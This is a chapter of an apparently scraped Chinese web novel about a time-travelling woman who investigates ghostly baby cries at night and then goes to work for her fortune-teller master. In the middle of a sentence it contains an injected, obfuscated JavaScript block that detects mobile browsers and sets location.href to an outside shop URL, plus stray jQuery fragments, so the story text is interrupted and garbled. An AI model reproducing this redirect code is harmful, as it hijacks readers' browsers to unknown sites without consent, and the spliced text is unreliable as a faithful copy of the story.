闻钰自然不会拒绝安娘子的好意,高兴应下:“好,那以后你也唤我钰娘就是。”
二人相视一笑,闻钰也为自己的新室友是这样一个好相处的人而松了口气。
这安巧性子的确如阿四所说那般和善,但闻钰却感觉她瞧着和别人都不一样,虽说都穿着同样布料的衣服,可她的言行举止都很有那种古代贵女的感觉,说话也很有分寸,相处起来一点也累人。
既然别人好心请她吃了一顿饭,闻钰便主动请缨洗碗了。待回到房间,闻钰直直倒在了床上,回想这一天的经历,也算不上忙得团团转,现在却仍是累得腰酸背痛。
太阳早就落了山,闻钰忘了还要买蜡烛,这会儿便也点不了灯,漆黑一片的屋子里,困意自然而然地涌上来。
闻钰随手一扯被子,盖住半个身子,仅剩的意识也在催眠着她——
睡吧,睡吧,明天就能开启古代新生活的第一天了。
……
不知是不是因为这里没有闹钟,心里却惦记着要早起,昨晚又睡得太早,闻钰从睡梦中醒来时比前一天还要早,仍是半夜,闻钰估摸着才是凌晨一两点。
屋外一片寂静,昨夜困意来得太快,她都没心思去想阿四口中的闹鬼一说,这会儿在黑暗中忽地忆起,她就有些浑身发凉,耳朵也不自觉地去捕捉能听到的每一丝动静。
有三两声远处传来的狗吠,也有风吹过门窗的窸窣声,可都与鬼婴的哭声扯不上一点干系。莫非是那些人疑神疑鬼,一个听错,之后的人听到点不寻常的声音就害怕,于是也跟着说听见了哭声?
闻钰翻了个身,睡不习惯这里的高枕头,索性将它推远了些,枕在自己的手肘上继续睡觉。
谁知这次她却迟迟无法入睡,迷迷糊糊地翻来覆去,不知过了多久,半梦半醒间却似乎有婴儿哭声传来。
闻钰一个激灵从床上坐了起来,这闹鬼一说,居然是真的吗?
那声音乍一听是从左边传来,仔细去分辨,却又觉得像在右边。虽然这声音和寻常婴儿的哭声无异,可大半夜的,突然听见这样的声音,周围的环境越是安静,这哭声便显得越可怖。闻钰手心难免也冒出些冷汗来,她拿起床边的外衣摸黑披上,刚往门边走了两步,却听那哭声骤然消失了。
闻钰心里又是一紧,在心里默念着“要相信科学”,硬着头皮拉开一条门缝,院中盈盈月光撒了满地,一切都如昨晚睡前那般,安详又宁静。
她缓缓呼出口气,开门出去,站在院中环视一圈,高高的院墙将别家的房屋都遮得严严实实,瞧不出一点异常。
闻钰收回目光,心想也许是自己白天被阿四吓到了,才会觉得自己听见了哭声,说不定就是梦而已吧。
她走到屋门口,余光瞥见安巧的窗户紧紧闭着,上面隐隐还有光影晃动,虽然十分微弱,在这漆黑一片的夜里,却也不至于无法察觉。
难道安巧也是听见了婴儿哭声醒来查看?
走到安巧门外,闻钰犹豫了一下,还是轻轻敲了敲门,低声唤道:“巧娘?”
屋内的烛光仍旧轻巧地晃动着,安巧却过了好一会儿才迟迟来到门边:“是钰娘么?寻我何事?”
“没什么……就是听见些声音,起来看看,见你屋子点了灯,就来问一问。你也是听见婴儿哭声才起来的么?”
安巧脸上露出几分疑惑:“哭声么?我好像没注意听……我就是今晚有些睡不着,才起来点了灯,做些针线活,可能做得太入迷了,连钰娘唤我都以为是自己听错了。”
“这样啊……”闻钰虽然奇怪,但也没多问,只是见到她身后的烛光,叮嘱一句,“巧娘还是早些睡吧,晚上做针线活多伤眼呀。”
“好,正巧我也有些困了,这便回去躺下,多谢钰娘关心。”
闻钰朝她笑了笑,回到自己屋子,被子里仍有些余温,她人却没什么困意了,靠在枕头上,耳朵不自觉地注意着周围的声音。
随着天色渐明,晨光透过窗户落进屋内,远远听见晨钟敲响,巷子里也逐渐开始有行人路过,那婴儿哭声却没再出现过了。
闻钰起来打水洗漱,发现自从到了古代以后,没了手机电脑和网络,整个人的作息都强行被纠正了。从前的她那可是一到晚上就灵感大爆发,常常熬夜码字,导致大学四年里,早八的课迟到了不知多少次。好在她们学院的老师都不太点名,偶尔一两次赶上她不在,室友们也都会帮她应付过关。
想想日夜颠倒的大学时期,再看看现在,太阳没升起来她就已经醒了,太阳刚落山她就去睡觉,简直比她爸妈的作息都离谱。
想到有些日子没见的父母,闻钰心情也瞬间低落下来了。她还回得去现代吗?她的朋友和家人,是不是以后都再也见不到她们了?
安巧从小厨房提着热水壶出来,见闻钰望着天发呆,替她往面前的水盆里倒着水,好笑道:“怎么一大早起来就六神无主的?在想什么?”
闻钰闻言回过神,幽幽叹气:“我只是在想,我怎么就一个人到了这儿来呢。”
安巧闻言脸上笑意也淡了些,低声道:“是啊,以前如何能想到,自己最后竟落得这种下场呢。”
闻钰没想到自己一句随口的感叹,却叫安巧也跟着难过了起来,不由想到阿四说起过,这安娘子也是从外地千里迢迢来到京城的,这么一想,她们其实还挺像的。
虽然二人没聊起过各自的经历,但孤身一人居住在这偌大的京城中,不必明说,却都能明白对方此刻难平的心绪。
水盆里热气腾腾,闻钰笑着谢过了安巧,安巧也收起了那短暂的忧思,拎着水壶进了屋。
厨房里锅上还烧着水,闻钰洗漱完,又蹭了一回安巧的手艺,吃了小半碗素面,便带上自己的小包袱,出门上班——给人当徒弟去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481189|201748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
她的小包袱里倒也没什么,就是跟着她从现代来的那些东西。虽说有了房子,包里的也不是什么贵重物品,但毕竟是跟着她一起来到古代的东西,陪伴了她更久,在这异世间,对她来说意义也更加的不同。
而且古代的治安不比现代,留在屋子里,万一被人偷了或是瞧见了,都是麻烦,还是带在身上更安心些。
闻钰慢悠悠地出了宁安巷,西市一如既往的热闹,谢过又要请她吃包子的刘婶,闻钰走到算命摊边上,笑着抬手送走了刚算完卦的阿四,探头瞥了眼桌上的三枚铜板——只有一枚桂花的图案朝上。
二阳一阴,是为平卦。
“怪不得我瞧阿四走的时候垂头丧气的呢,原是今日生意一般。”
许是因为徒弟知晓了自己年纪的秘密,神道长也终于不再像之前那样总是故作高深了,二人间的关系一下子就拉近了许多,他赞许地点头夸道:“昨日教你的卦象还记着,不错。”
闻钰受不住这个夸赞,尴尬一笑,老实承认:“我也就只记得这个最简单的,那天地罗盘,每一圈叫什么名字我都已经全忘干净了。”
“这算什么,多学多用就是了。当初你师祖教我的时候,光是这摇卦的卦象,我也足足背了两三日才背熟呢。”
“不是说师祖见你有天赋才收你做徒弟的么?”
“有天赋又不代表我记性好……就是在这一道学得快些,算得准些嘛。”
“那我呢?”闻钰好奇凑近,“师父是怎么看出我有天赋的?”
“这个……”神道长脸上露出些为难,“我也说不好,可能就是瞧你顺眼些吧,反正一看到你,就觉得你适合当我徒弟。”
没得到答案,闻钰悻悻坐回去,她从前没觉得自己是个这么较真的人,什么都想摸清背后的原理,但想到她写小说的时候其实也是个理论派,似乎也有迹可循。
但可能想要当神棍就得什么都这么含含糊糊的吧,不然话说得太明白了,没有了神秘感,还怎么唬人呢。
不过光靠脑子记还是不可靠,闻钰盯着桌布上黑乎乎的字,突然想到了什么,问:“师父,你这有纸笔吗?”
神道长一脸警惕地看向她:“做什么?我可没钱再借给你了,当初你可是说好的,要写话本子,就自己赚钱去买。”
这个抠门师父!闻钰心里吐槽完,脸上仍是笑:“当然不是为了写话本,徒儿是想将师父教的都记下来,免得又忘了。而且徒儿幼时未曾好好习字,写的字有些……不大好看,比不上师父的字,写得那是一个形神兼备、浑然天成,我还想向师父多请教呢。”
猛然被徒弟这么一顿夸,神道长笑得嘴角都压不住了,那股装腔作势的劲儿又冒了出来:“哪有这么夸张,为师的字,也就堪堪能入眼罢了。”
话音落下,一整套的笔墨纸砚就已经整整齐齐摆在桌面上了。